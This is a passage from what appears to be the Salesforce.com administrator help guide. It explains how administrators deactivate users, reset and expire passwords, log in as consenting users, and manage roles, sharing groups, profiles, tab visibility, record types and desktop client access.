different functions within Salesforce.com.
• Administrators can restrict the domain names of users’ email addresses to a list of explicitly allowed domains. Any attempts
to set an email address with another domain will result in an error message. Contact salesforce.com to enable this functionality
for your organization.
• From the user detail page, administrators can click Login to log in as users that have granted them access. This button is
only available for users who have granted login access to an administrator.
• Administrators can click Unlock to unlock a user that is locked out of Salesforce.com. This button is only available when
a user is locked out.
• If your organization has managed packages installed, click Assign Licenses to assign a package license to the User. Click
Remove to remove a license assigned to the user.
• Administrators can click Grant Checkout Access to give a user access to Checkout, see Granting Checkout Access on
page 452. Using Checkout, the user can purchase Salesforce.com licenses, AppExchange app licenses, and other related
products. Additionally, within Checkout, the user can view the organization's quotes, installed products, orders, invoices,
payments, and contracts.

See Also:
Assigning Users to Roles
Adding New Users
Resetting Passwords
Managing Users
Viewing User License Types
About Customer Portal User Management

Viewing the Public Group Membership Related List


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view user details: “View Setup and Configuration”

To view the public groups a user is a member of, click Setup ➤ Manage Users ➤ Users and select the user. In the Public
Group Membership related list, you can:

448
User Management Managing Users

• Click New Group to create a public group.


• Click a public group name to view its details.

See Also:
About Groups

Viewing the Queue Membership Related List


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view user details: “View Setup and Configuration”

To view the queues a user is a member of, click Setup ➤ Manage Users ➤ Users and select the user. In the Queue Membership
related list, you can:

• Click New Queue to create a queue.


• Click a queue name to view its details.

See Also:
Managing Queues

Deactivating Users
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To deactivate users: “Manage Users”

You cannot completely delete users from the system, but you can deactivate their logins so that they can no longer use the
service.

1. Click Setup ➤ Manage Users ➤ Users.


2. Click Edit next to a user’s name.
3. Deselect the Active checkbox and click Save.
If the user is a member of account, sales, or case teams, Salesforce.com prompts you to remove the user from those teams.

449
User Management Managing Users

Tips on Deactivating Users


Consider the following when deactivating users:
• Deactivated users lose access to any records that were manually shared with them, or records that were shared with them
as team members. However, you can still transfer their data to other users and view their names on the Users page.
• Deactivated users are removed from the default sales and account teams of other users. The deactivated users' default sales
and account teams are not removed.
• Deactivated users continue to own opportunities and appear in forecasts and territories. When users are deactivated, their
opportunity forecast overrides, adjusted total overrides, and manager's choice overrides on subordinates' forecasts are frozen.
However, the manager of a deactivated user can apply manager's choice overrides to that user's forecasts. Rollup amounts
are kept current. If a deactivated user is later reactivated, the user can resume normal work as before. If “Allow Forecasting”
is disabled for a user who is deactivated, the user is removed from any territories her or she is assigned to. For more
information on territories, see Territory Management Overview on page 1826.
• A deactivated user does not count against your organization’s available user licenses. However, deactivating a user does
not reduce the number of licenses for which your organization is billed; you must change your organization’s license count
to change your billing. See Adding or Subtracting User Licenses on page 2667.
• You cannot deactivate a user selected as a Customer Portal Administrator. For more information, see Enabling Customer
Portal Login and Settings on page 1313.
• You cannot deactivate a user that is selected in a custom hierarchy field even if you delete the field. You must delete and
permanently erase the field first. For more information, see Managing Deleted Custom Fields.
• When a delegated portal user administrator deactivates a portal user, the administrator doesn't have the option to remove
the portal user from any teams on which that user is a member.
• If Salesforce Chatter is enabled and a user is deactivated, the user is removed from Following and Followers lists. This
information is restored if the user is reactivated.

See Also:
Mass Transferring Records
Adding New Users
Editing Users
Managing Users
Disabling and Deactivating Portal Users

Resetting Passwords
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To reset passwords: “Manage Users”

If a user loses his or her password, the user can click the Forgot your password? link on a failed login page to have a new
password emailed to him or her. The user must correctly answer a previously defined security question before they can reset
their password and log in. See Changing Your Password on page 35.
To reset a user’s password:

450
User Management Managing Users

1. Click Setup ➤ Manage Users ➤ Users.


2. Select the checkbox next to the user’s name. Optionally, to change the passwords for all currently displayed users, check
the box in the column header to select all rows.
3. Click Reset Password to have a new password emailed to the user.

Tips on Resetting Passwords


Consider the following when resetting passwords:
• If a user has the “Uses Single Sign-On” permission, only an administrator can reset their password; Single Sign-On users
cannot reset their own passwords. For information about Single Sign-On, see About Single Sign-On on page 547.
• When you reset a user's password, the user may have to activate his or her computer to successfully log in to Salesforce.com.
For more information, see Setting Login Restrictions on page 472.

See Also:
Expiring Passwords
Managing Users

Expiring Passwords
Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To expire all passwords: “Manage Users”

To expire passwords for all users, except those with the “Password Never Expires” permission:

1. Click Setup ➤ Security Controls ➤ Expire All Passwords.


2. Select the Expire all user passwords checkbox.
3. Click Save.

The next time each user logs in, he or she will be prompted to reset his or her password.

Tips on Expiring Passwords


Consider the following when expiring passwords:
• After you expire passwords, users may need to activate their computers to successfully log in to Salesforce.com. For more
information, see Setting Login Restrictions on page 472.
• You can expire passwords for all users any time you want to enforce extra security for your organization. For more options
you can set to ensure password security, see Setting Password Policies on page 542.

See Also:
Resetting Passwords

451
User Management Managing Users

Logging In as Another User


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To log in as another user who has granted you access:
“Manage Users”
AND
“Modify All Data”

To assist other users, administrators can log in to Salesforce.com as another user if that user has granted login access.
To log in as another user:

1. Click Setup ➤ Manage Users ➤ Users.


2. Click the Login link next to the user who has granted you access. The Login link and button only appear for users who
have granted login access to an administrator.
3. Click Logout to return to your administrator account.

Note: You can also log in as another user from the user detail page and the Users in Role list page.

See Also:
Managing Users

Granting Checkout Access


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To grant Checkout access: “Manage Billing”
To edit users: “Manage Users”

Users with the “Manage Billing” permission automatically have access to Checkout when it is enabled for your organization.
These users can also grant access to other users within your organization.
To give a user access to Checkout:

1. Click Setup ➤ Manage Users ➤ Users.

452
User Management Managing Users

2. Click on the appropriate user's name to open the user detail page.
3. Click Edit.
4. Select the Checkout Enabled checkbox. The user is notified by email when his or her Checkout account is activated
and available for login.

Setting Quotas for Customizable Forecasting


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To set your quota: “Edit Personal Quota”
To set any user’s quota: “Manage Users”

Users with the appropriate permission can set their individual quota. Administrators and users with the appropriate permission
can always edit any quota, and managers can always change the quotas of users that report directly to them in the role hierarchy.

1. To set your personal quota, click Setup ➤ My Personal Information ➤ Personal Information. To change the quota of
a user that reports to you, click Setup ➤ Manage Users ➤ Users, and select the appropriate user.
2. Click Edit in the Quotas related list.
3. Select the appropriate range start and range length. If available, select a territory and product family.
Note: If your organization uses custom fiscal years, you cannot set quotas for a period that does not have a defined
fiscal year.

4. Enter the quota amounts for revenue and/or quantity.


5. Select the appropriate currency if you work with more than one currency.
6. Click Save to save the quota and return to the user detail page, or click Quick Save to save the values and continue to edit
the quota.
Tip: Using Quick Save allows you to quickly set a different quota for each product family.

Note: If these options are not available to you, you may not have customizable forecasting. To determine if your
organization has enabled customizable forecasting, see Do I Have Customizable Forecasting? on page 1741. For
information on setting quotas if you do not have customizable forecasting, see Adding and Editing Quotas on page
38.

You can also use tools like the Data Loader to do mass updates on quotas. When updating quotas, set the quota field value
on the RevenueForecast or QuantityForecast objects. For more information, see RevenueForecast and QuantityForecast
in the Web Services API Developer's Guide.

See Also:
Managing Users

453
User Management Managing Roles

Managing Roles
Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create, edit, and delete roles: “Manage Users”
To assign users to roles: “Manage Users”

Depending on your sharing settings, roles can control the level of visibility that users have into your organization’s data. Users
at any given role level can view, edit, and report on all data owned by or shared with users below them in the hierarchy, unless
your organization’s sharing model for an object specifies otherwise. Specifically, in the Organization-Wide Defaults related
list, if the Grant Access Using Hierarchies option is disabled for a custom object, only the record owner and users granted
access by the organization-wide defaults receive access to the object's records.
Note: The following information applies to roles for your organization's users. For information about roles for partner
users and Salesforce.com Customer Portal users, see About Partner Portal Channel Manager User Management on
page 2529 and About Customer Portal User Management on page 1338.

Working with Roles


To view and manage your organization's roles, click Setup ➤ Manage Users ➤ Roles.
• Choose one of the following list view options:
Show in tree view
See a visual representation of the parent-child relationships between your roles. Click Expand All to see all roles, or
Collapse All to see only top-level roles. To expand or collapse an individual node, click the plus (+) or minus (-)
icon.

Show in sorted list view


See a list that you can sort alphabetically by role name, parent role (Reports to), or report display name. If your
organization has a large number of roles, use this view for easy navigation and filtering.
To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to
define your own custom view. To edit or delete any view you created, select it from the View drop-down list and
click Edit.

Show in list view


See a list of roles and their children, grouped alphabetically by the name of the top-level role. The columns are not
sortable. This view is not available for hierarchies with more than 1,000 roles.
• To create a role, click New Role or Add Role, depending whether you are viewing the list view or tree view of roles, then
edit the role fields as needed. You can create up to 500 roles for your organization.
• To edit a role, click Edit next to a role name, then update the role fields as needed.
• To delete a role, click Delete next to the role name.
• To assign other users to a role, click Assign next to the role name.
• To view detailed information about a role, click a role name. If you are a Salesforce Knowledge user, you can modify
category visibility settings on the role detail page.

454
User Management Managing Roles

Tip: To simplify user management in organizations with large numbers of users, enable delegated administrators to
manage users in specified roles and all subordinate roles.

Notes on Roles
• Every user must be assigned to a role, or their data will not display in opportunity reports, forecast roll-ups, and other
displays based on roles. If your organization uses territory management, forecasts are based on the territory hierarchy rather
than the role hierarchy.
• All users that require visibility to the entire organization should belong to the highest level in the hierarchy.
• It is not necessary to create individual roles for each title at your company, rather you want to define a hierarchy of roles
to control access of information entered by users in lower level roles.
• When you change a user’s role, any relevant sharing rules are evaluated to add or remove access as necessary.
• When an account owner is not assigned a role, the sharing access for related contacts is Read/Write, provided the
organization-wide default for contacts is not Controlled by Parent. Sharing access on related opportunities and cases is
No Access.
• Users that gain access to data due to their position in hierarchies do so based on a setting in your organization-wide defaults.

See Also:
Viewing and Editing Roles
Setting Up Your Customer Portal
Managing Data Categories
What is Salesforce Knowledge?

Viewing and Editing Roles


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view role details: “View Setup and Configuration”
To edit and delete roles: “Manage Users”
To view users: “View Setup and Configuration”
To edit users: “Manage Users”

To view detailed information about a role, click Setup ➤ Manage Users ➤ Roles, and click the role name.
In the Role Detail related list:

• To view the role detail page for a parent or sibling role, click the role name in the Hierarchy or Siblings list.
• To edit the role details, click Edit.
• To remove the role from the hierarchy, click Delete.

In the Users in Role related list:

455
User Management Managing Roles

• To assign a user to the role, click Assign Users to Role.


• To add a user to your organization, click New User.
• To modify user information, click Edit next to a user name.
• To view a user's details, click the user's full name, alias, or username.
When Active is selected, the user can log into Salesforce.com. Deactivated users, such as employees who are no longer
with your company, cannot log in to Salesforce.com.

In the Category Group Visibility Settings related list, you can:

• Click a category group to view its setting details.


• Click Edit next to a category group to modify its visibility settings.

See Also:
Managing Roles
Role Fields
Managing Data Categories
What is Salesforce Knowledge?

Assigning Users to Roles


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To assign users to roles: “Manage Users”

To quickly assign users to a particular role:

1. Click Setup ➤ Manage Users ➤ Roles.


2. Click Assign next to the name of the desired role.
Note: You can also access this page by clicking Assign Users to Role from the Users in Role related list.

3. Make a selection from the drop-down list to show the available users.
4. Select a user on the left, and click Add to assign the user to this role.

456
User Management Managing Roles

Note: Removing a user from the Selected Users list deletes the role assignment for that user.

See Also:
Role Fields
Managing Roles
Viewing and Editing Roles

Role Fields
Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create or edit roles: “Manage Users”

The following fields (listed in alphabetical order) make up a role entry. Some of these fields may not be visible or editable
depending on your organization's permissions and sharing settings.

Field Description
Case Access Specifies whether users can access other users’ cases that are
associated with accounts the users own. This field is not visible
if your organization’s sharing model for cases is Public
Read/Write.
Contact Access Specifies whether users can access other users’ contacts that
are associated with accounts the users own. This field is not
visible if your organization’s sharing model for contacts is
Public Read/Write or Controlled by Parent.
Modified By The name of the user who last modified this role's details, and
the date and time that the role was modified.
Opportunity Access Specifies whether users can access other users’ opportunities
that are associated with accounts the users own. This field is
not visible if your organization’s sharing model for
opportunities is Public Read/Write.
Partner Role Indicates whether this role is associated with a partner account.
This field is available only when a Customer Portal or partner
portal is enabled for the organization.
If this checkbox is selected, you cannot edit the role. The roles
in a portal role hierarchy are fixed. You cannot customize them
or add new ones.

457
User Management Managing Roles

Field Description
Role Name Title of position or role in an organization, for example,
Western Sales VP.
Role Name as displayed on reports A role name that appears in reports. When editing a role, if
the Role Name is long, you can enter an abbreviated name
in this field.
Sharing Groups These groups are automatically created and maintained. The
Role group contains all users in this role plus all users in roles
above this role. The Role and Subordinates group contains all
users in this role plus all users in roles above and below this
role in the hierarchy. The Role and Internal Subordinates
group (available if Customer Portals or partner portals are
enabled for your organization) contains all users in this role
plus all users in roles above and below this role, excluding
Customer Portal and partner portal users.
This role reports to The role above this role in the hierarchy.

See Also:
Managing Roles
Viewing and Editing Roles
Assigning Users to Roles
Managing Roles

Viewing Role and Territory Sharing Groups


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view users: “View Setup and Configuration”
To edit users: “Manage Users”

For each role in your hierarchy Salesforce.com automatically creates sharing groups, which you can use in sharing rules and
manual sharing:

• Role—users in the role plus users in roles above it in the hierarchy


• Role and Subordinates—users in the role plus users in roles above and below it in the hierarchy
• Role and Internal Subordinates—users in the role, plus users in roles above and below it in the hierarchy, excluding
Customer Portal or partner portal users. This group is visible only if Customer Portals or partner portals are enabled for
your organization.

458
User Management Managing Roles

If territory management is enabled for your organization, each territory has sharing groups:

• Territory—users in the territory plus users in territories above it in the hierarchy


• Territory and Subordinates—users in the territory plus users in territories above and below it in the hierarchy

Note: Users that gain access to data due to their position in hierarchies do so based on a setting in your
organization-wide defaults.

To view sharing group members:

1. For roles, click Setup ➤ Manage Users ➤ Roles.


For territories, click Setup ➤ Manage Territories ➤ Hierarchy.
2. Click the role or territory name.
3. Click a link in the Sharing Groups field.

From this page, you can view detailed user information, edit user information, and access related information.

• To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define
your own custom view. To edit or delete any view you created, select it from the View drop-down list and click Edit.
• Click Edit next to a username to edit the user information.
• Click Login next to a username to log in as that user. This link is only available if the user has granted you login access.

See Also:
Role Fields

Viewing Users in Role Lists


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view users: “View Setup and Configuration”
To edit users: “Manage Users”

The users in role list page displays a list of users assigned to the selected role. From this page, you can view detailed user
information, edit users, and access other related information.

• To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define
your own custom view. To edit or delete any view you created, select it from the View drop-down list and click Edit.
• Click Edit next to a user name to edit the user information.

459
User Management Managing Profiles

• Click Login next to a user name to log in as that user. This link is only available for users who have granted login access
to an administrator.

See Also:
Managing Roles

Managing Profiles
Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view profiles: “View Setup and Configuration”
To create, edit, or delete profiles: “Manage Users”
AND
“Customize Application”

A profile contains the settings and permissions that control what users with that profile can do within Salesforce.com, the
partner portal, and the Customer Portal. Profiles control:

• Which standard and custom apps the user can view (depending on user license)
• Which tabs the user can view (depending on user license and other factors, such as access to Salesforce CRM Content)
• Which administrative and general permissions the user has for managing the organization and apps within it
• Which object permissions the user is granted to create, read, edit, and delete records
• Which page layouts a user sees
• The field-level security access that the user has to view and edit specific fields
• Which record types are available to the user
• Which desktop clients users can access and related options
• The hours during which and IP addresses from which the user can log in
• Which Apex classes a user can execute
• Which Visualforce pages a user can access

To create, edit, and delete profiles, click Setup ➤ Manage Users ➤ Profiles.
There are standard profiles in every Salesforce.com organization. In Contact Manager, Group, and Professional Edition
organizations, you can assign the standard profiles to your users, but you cannot view or edit the standard profiles or create
custom profiles. In Enterprise, Unlimited, and Developer Edition organizations, you can use standard profiles, or create, edit,
and delete custom profiles. For standard profiles, only certain settings can be changed.

460
User Management Managing Profiles

Each standard or custom profile belongs to exactly one user license type.

See Also:
User Management Overview
Viewing Profile Lists
Key Profile Permissions

Standard Profiles
The standard profiles available vary according to the Edition you have.

There are standard profiles in every Salesforce.com organization. In Enterprise, Unlimited, and Developer Edition, you can
use standard profiles or create, edit, and delete custom profiles. In organizations where you can't create custom profiles (such
as Contact Manager, Group, and Professional Edition), you can assign standard profiles to your users, but you can't view or
edit them.

Profile Name Available Permissions


System Administrator Can configure and customize the application. Has access to
all functionality that does not require an additional license.
For example, administrators cannot manage campaigns unless
they also have a Marketing User license. Can manage price
books and products. Can edit any quota, override forecasts,
and view any forecast.
Standard Platform User Can use custom Force.com AppExchange apps developed in
your organization or installed from AppExchange. In addition,
can use core platform functionality such as accounts, contacts,
reports, dashboards, and custom tabs. For more information
on Salesforce Platform user licenses, see Viewing User License
Types on page 506.
Standard Platform One App User Can use one custom AppExchange app developed in your
organization or installed from AppExchange. The custom app
is limited to five tabs. In addition, can use core platform
functionality such as accounts, contacts, reports, dashboards,
and custom tabs.
Standard User Can create and edit most major types of records, run reports,
and view the organization's setup. Can view, but not manage,
campaigns. Can create, but not review, solutions. Can edit
personal quota and override forecasts.
Partner User Can only log in via a PRM Portal.

461
User Management Managing Profiles

Profile Name Available Permissions


High Volume Customer Portal User Can only log in via a Customer Portal. Can access records if
any of the following conditions are met:
and
• The high-volume Customer Portal user owns the record
Authenticated Website User • The high-volume Customer Portal user can access the
(both user licenses are High-volume Customer Portal users) record's parent
• The organization-wide sharing setting for the object is
Public Read Only or Public Read/Write
• The record or record's parent is an account or contact that
the user can access via the sharing settings for high-volume
Customer Portal users
• The record or record's parent has a lookup field that points
to an account or contact that the user can access via the
sharing settings for high-volume Customer Portal users

Customer Portal User Can only log in via a Customer Portal. Can view and edit data
they directly own or data owned by or shared with users below
them in the Customer Portal role hierarchy; and they can view
and edit cases where they are listed in the Contact Name
field.
Customer Portal Manager Can only log in via a Customer Portal. Can view and edit data
they directly own or data owned by or shared with users below
them in the Customer Portal role hierarchy; and they can view
and edit cases where they are listed in the Contact Name
field.
Solution Manager Can review and publish solutions. Also has access to the same
functionality as the Standard User.
Marketing User Can manage campaigns, import leads, create letterheads, create
HTML email templates, manage public documents, and
update campaign history via the import wizards. Also has
access to the same functionality as the Standard User.
Contract Manager Can create, edit, activate, and approve contracts. This profile
can also delete contracts as long as they are not activated. Can
edit personal quota and override forecasts.
Read Only Can view the organization's setup, run and export reports, and
view, but not edit, other records.
Chatter Only User Can only log in to Salesforce Chatter. Can access all standard
Chatter people, profiles, groups, and files. In addition, can
view Salesforce.com accounts and contacts, and modify up to
seven custom objects.

462
User Management Managing Profiles

Profile Name Available Permissions


Only available with the Chatter Only user license.

See Also:
Managing Profiles
Viewing and Editing Profiles
Administrative and General Permissions on Profiles
Object Permissions on Profiles
About Customer Portal User Management

Viewing Profile Lists


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view profiles: “View Setup and Configuration”
To create, edit, and delete profiles: “Manage Users”
AND
“Customize Application”

To create, edit, and delete profile list views: “Manage Users”


To print a profile list: “View Setup and Configuration”

A profile contains the settings and permissions that control what users with that profile can do within Salesforce.com, the
partner portal, and the Customer Portal. To view the profiles in your organization, click Setup ➤ Manage Users ➤ Profiles.

Viewing the Basic Profile List


• To create a new profile, click New or New Profile. Select an existing profile to clone, name the new profile, and click Save.
Note: When you create a profile, it uses the same user license as the profile it was cloned from.

• To view a profile's details, click the profile name.


• To edit a profile, click Edit next to the profile name.
• To delete a custom profile, click Del next to the profile name.

463
User Management Managing Profiles

Viewing Enhanced Profile Lists


If enhanced profile management is enabled for your organization, you can use additional tools to customize, navigate, manage,
and print profile lists. You can also edit permissions directly in a list view.
• To show a filtered list of profiles, select a view from the drop-down list.
• To create a profile, click New Profile, or click Clone next to the profile that you want to base the new profile on.
• To create a view, click Create New View.
• To print a list view, select the view from the drop-down list and click the Printable View button ( ).
• To edit a view, select it from the drop-down list and click Edit
• To delete a view, select it from the drop-down list and click Delete.
• To refresh the list view after creating or editing a view, click Refresh.
• To edit a profile, click Edit next to the profile name.
• To delete a custom profile, click Del next to the profile name.
• To create a new profile based on an existing profile, click Clone next to the profile name.

Creating and Editing Profile List Views


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create, edit, and delete profile list views: “Manage Users”

If enhanced profile management is enabled for your organization, you can create profile list views to show a set of profiles with
the fields you choose. For example, you could create a list view of all profiles in which “Modify All Data” is enabled.

Creating a Profile List View


1. In the Profiles page, click Create New View.
2. Enter the view name.
3. Under Specify Filter Criteria, specify the conditions that the list items must match, such as Modify All Data equals
True.
a. Type a setting name, or click the lookup icon to search for and select the setting you want.
b. Choose a filter operator.
c. Enter the value that you want to match.
d. To specify another filter condition, click Add. You can specify up to 25 filter condition rows.
Note: To remove a filter condition row and clear its values, click the remove row icon .

4. Under Select Columns to Display, specify the profile settings that you want to appear as columns in the list view.
a. From the Search drop-down list, select the type of setting you want to search for.
b. Enter part or all of a word in the setting you want to add and click Find.

464
User Management Managing Profiles

Note: If the search finds more than 500 values, no results appear. Use the preceding steps to refine your search
criteria and show fewer results.

c. To add or remove columns, select one or more column names and click the Add or Remove arrow.
d. Use the Top, Up, Down, and Bottom arrows to arrange the columns in the sequence you want.
Note: You can add up to 15 columns in a single list view.

5. Click Save.

Editing a Profile List View


To edit or clone an existing list view:
1. In the Profiles page, select the view you want from the drop-down list.
2. Click Edit.
3. Edit the fields as described in the procedure for creating a list view.
4. Click Save. To clone an existing view, rename the list view and click Save As.

See Also:
Managing Profiles
Editing Profiles Using Profile Lists
Viewing Profile Lists
Deleting List Views

Viewing and Editing Profiles


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view profiles: “View Setup and Configuration”
To edit profiles: “Manage Users”
AND
“Customize Application”

Viewing and Managing a Profile


To view a profile, click Setup ➤ Manage Users ➤ Profiles, then select the profile you want.
On the profile detail page, you can do any of the following:
• Click Edit to edit the profile settings.
• Click Clone to create a profile based on this profile.

465
User Management Managing Profiles

Note: When you create a profile, it uses the same user license as the profile it was cloned from.

• For custom profiles only, click Delete to delete the profile.


• Click View Users to view the users who are assigned to the profile.

Editing a Profile
You can edit all settings in a custom profile. In standard profiles, you can edit all settings except name and description, and
object, app, and system permissions.
1. Click Setup ➤ Manage Users ➤ Profiles.
2. Select the profile you want to edit.
3. On the profile detail page, click Edit to change any of the following settings:
• For custom profiles only, the name and description
• The standard or custom apps that are visible to users with the profile.
Note: Every profile must have at least one visible app, except for profiles associated with Customer Portal users
because apps are not available to them. Standard apps are only available to Salesforce.com user license types.

• Tab visibility settings


• For custom profiles only, administrative and general permissions
• For custom profiles only, standard and custom object permissions
Note: Editing some permissions may automatically cause other permissions to be enabled or disabled. For
example, enabling “View All Data” automatically enables “Read” for all standard and custom objects. Likewise,
enabling “Transfer Leads” automatically enables “Read” and “Create” on leads.

Tip: If enhanced profile management is enabled for your organization, you can change permissions for multiple
profiles from the list view.

• Desktop client access settings

You can also view or edit the following settings from the profile detail page:

Setting Procedure to View or Edit


Console layouts for all profiles Under the Console Settings section, click Edit.
Page layouts Under the Page Layouts section, click View Assignment next
to an object name.
Access to fields in each object Under the Field-Level Security section, click View next to an
object name.
Record types Under the Record Type Settings section, click Edit next to a
tab name. The Edit link is available only if record types exist
for the object.
Login hours Under the Login Hours section, click Edit.
Login IP address ranges Under the Login IP Ranges section, click New, or click Edit
next to an existing IP range.

466
User Management Managing Profiles

Setting Procedure to View or Edit


Executable Apex classes Under the Enabled Apex Class Access section, click Edit.
Executable Visualforce pages on page 1606 Under the Enabled Visualforce Page Access section, click
Edit.

See Also:
Managing Users
Standard Profiles
Managing Profiles

Editing Profiles Using Profile Lists


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To edit multiple profiles from the list view: “Manage Users”
AND
“Customize Application”
AND
“Mass Edits from Lists”

If enhanced profile management is enabled for your organization, you can change permissions in up to 200 profiles directly
from the list view, without accessing individual profile pages. Editable fields display a pencil icon ( ) when you hover over
the field, while non-editable fields display a lock icon ( ). In some cases, such as in standard profiles, the pencil icon appears
but the setting is not actually editable.
Caution: Use care when editing profiles with this method. Because profiles affect a user's fundamental access, making
mass changes may have a widespread effect on users in your organization.

To change permissions in one or more profiles:

1. Select or create a list view that includes the profiles and permissions you want to edit.
2. To edit multiple profiles, select the checkbox next to each profile you want to edit. If you select profiles on multiple pages,
Salesforce.com remembers which profiles are selected.
3. Double-click the permission you want to edit. For multiple profiles, double-click the permission in any of the selected
profiles.
4. In the dialog box that appears, enable or disable the permission. In some cases, changing a permission may also change
other permissions. For example, if “Manage Cases” and “Transfer Cases” are enabled in a profile and you disable “Transfer
Cases,” then “Manage Cases” is also disabled. In this case, the dialog box lists the affected permissions.

467
User Management Managing Profiles

5. To change multiple profiles, select All n selected records (where n is the number of profiles you selected).
6. Click Save.

Note:

• For standard profiles, inline editing is available only for the “Single Sign-On” and “Affected By Divisions”
permissions.
• If you edit multiple profiles, only those profiles that support the permission you are changing will change. For
example, if you use inline editing to add “Modify All Data” to multiple profiles and one profile is a platform profile
(which doesn't have “Modify All Data”) the platform profile won't change.

If any errors occur, an error message appears, listing each profile in error and a description of the error. Click the profile name
to open the profile detail page. The profiles you've clicked appear in the error window in gray, strike-through text.
Note: To view the error console, pop-up blockers must be disabled for the Salesforce.com domain. To check if your
browser allows pop-up windows, click Setup ➤ My Personal Information ➤ Reminders, and then click Preview
Reminder Alert.

To review your changes in the setup audit trail, select Setup ➤ Security Controls ➤ View Setup Audit Trail.

See Also:
Viewing Profile Lists

Setting Tab Visibility


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To set tab visibility: “Manage Users”

1. Click Setup ➤ Manage Users ➤ Profiles.


2. Click Edit next to a profile name.
3. In the Tab Setting section, specify the following:

• If you want every user with this profile to use the tab visibility settings that you specify, select Overwrite users' personal
tab customizations.
• Specify the tab visibility for standard and custom objects. The settings are:

Setting Description
Default On Show the tab by default for users with this profile. Individual users can override
this setting. The Home tab setting can't be changed from Default On.
Default Off Hide the tab by default for users with this profile. Individual users can override
this setting.

468
User Management Managing Profiles

Setting Description
Tab Hidden Hide the tab and don't allow individual users to override this setting in their
personal customization. Using this setting doesn't prevent users from accessing
the records or list views from a tab; to prevent users from seeing records of
that object type, remove the “Read” permission for the object.

4. Click Save.

Note: If Salesforce CRM Content is enabled for your organization but an administrator has not selected the Salesforce
CRM Content User checkbox on the user detail page, the Salesforce CRM Content app has no tabs. The tabs display
when the Salesforce CRM Content User checkbox is selected.

Assigning Record Types to Profiles


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To assign record types to profiles: “Customize Application”

After creating record types and including picklist values in them, add record types to user profiles and assign a default record
type for each profile. When you add a record type to a profile, users with that profile can assign that record type to records
they create or edit. Note that any user can view records having any record type, even if the record type is not associated with
their profile.
A profile can be associated with several record types. For example, a user who creates opportunities for both hardware and
software sales can have both “Hardware” and “Software” record types available when creating opportunities if both record
types have been added to the user’s profile.
1. Click Setup ➤ Manage Users ➤ Profiles.
2. Select a profile. The record types available for that profile are listed in the Record Type Settings section.
3. Click Edit next to the appropriate type of record.
4. Select a record type from the Available Record Types list and add it to the Selected Record Types list to make it available
to users with that profile.
Tip: Master is the hidden system record type for records that have no record type assigned. You cannot explicitly
assign Master to records, but you can make it the only record type assigned to a profile when no other record types
are desired.

5. From the Default drop-down list, choose a default record type.


If your organization uses person accounts, this setting also controls which account fields display in the Quick Create
area of the accounts home page.

469
User Management Managing Profiles

6. If your organization uses person accounts, set additional options for the default record types for both person accounts and
business accounts. These settings are used when defaults are needed for both kinds of accounts, such as when converting
leads.

• From the Business Account Default Record Type drop-down list, choose a default record type for business
accounts.
• From the Person Account Default Record Type, choose a default record type for person accounts.

7. Click Save.

Options in the Record Type Settings section are blank wherever no record types exist. For example, if you have two record
types for opportunities but no record types for accounts, the Edit link only displays for opportunities. In this example, the
picklist values and default value for the master are available in all accounts.
Note: If your organization uses person accounts, you can view the record type defaults for business accounts and
person accounts in the Account Record Type Settings section of the profile detail page. Also, clicking Edit in that
section is an alternative way of opening the page where you set record type defaults for accounts. For more information,
see What is a Person Account? on page 54.

See Also:
Managing Record Types
Setting Record Type Preferences

Setting User Permissions for Desktop Clients


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To set user permissions for desktop clients: “Manage Users”

Connect for Outlook, Connect Offline, Connect for Office, and Connect for Lotus Notes are desktop clients that integrate
Salesforce.com with your PC. As an administrator, you can control which desktop clients your users can access as well as
whether users are automatically notified when updates are available.
In Enterprise, Unlimited, and Developer Editions, use the following procedure to set your users' desktop client permissions.
Note that Connect Offline is the only client available with Developer Edition. In Personal, Group, and Professional Editions,
all users have the system default “On, updates w/o alerts” for all clients.

1. In Salesforce.com, navigate to Setup ➤ Manage Users ➤ Profiles.


2. Click Edit next to a profile name, and scroll to the Desktop Integration Clients section at the bottom of the page.
3. For each desktop client, choose one of the following options:

470
User Management Managing Profiles

Option Meaning
Off (access denied) The respective client download page at Setup ➤ Desktop Integration
is hidden. Also, users cannot log in from the client.
On, no updates The respective client download page at Setup ➤ Desktop Integration
is hidden. Users can log in from the client but are not allowed to upgrade
it from their current version.
On, updates w/o alerts Users can download, log in from, and upgrade the client, but do not see
alerts when a new version is made available.
On, updates w/alerts Users can download, log in from, and upgrade the client. They will see
update alerts, which they can choose to follow or ignore.
On, must update w/alerts Users can download, log in from, and upgrade the client. When a new
version is available, they will see an update alert. They will not be able
to log in from the client until they have upgraded it.

4. Click Save.

Note:

• Desktop client access is available only for users whose profiles have the “API Enabled” permission.
• If users in your organization have a Connect for Outlook version earlier than 2.0 (such as version 115), and their
profile setting is “Off (access denied)” or “On, must update w/alerts,” the error Invalid Salesforce.com
API request may occur when they attempt to log in to Connect for Outlook. Users with Connect for Outlook
2.0 or later will see an appropriate descriptive message.

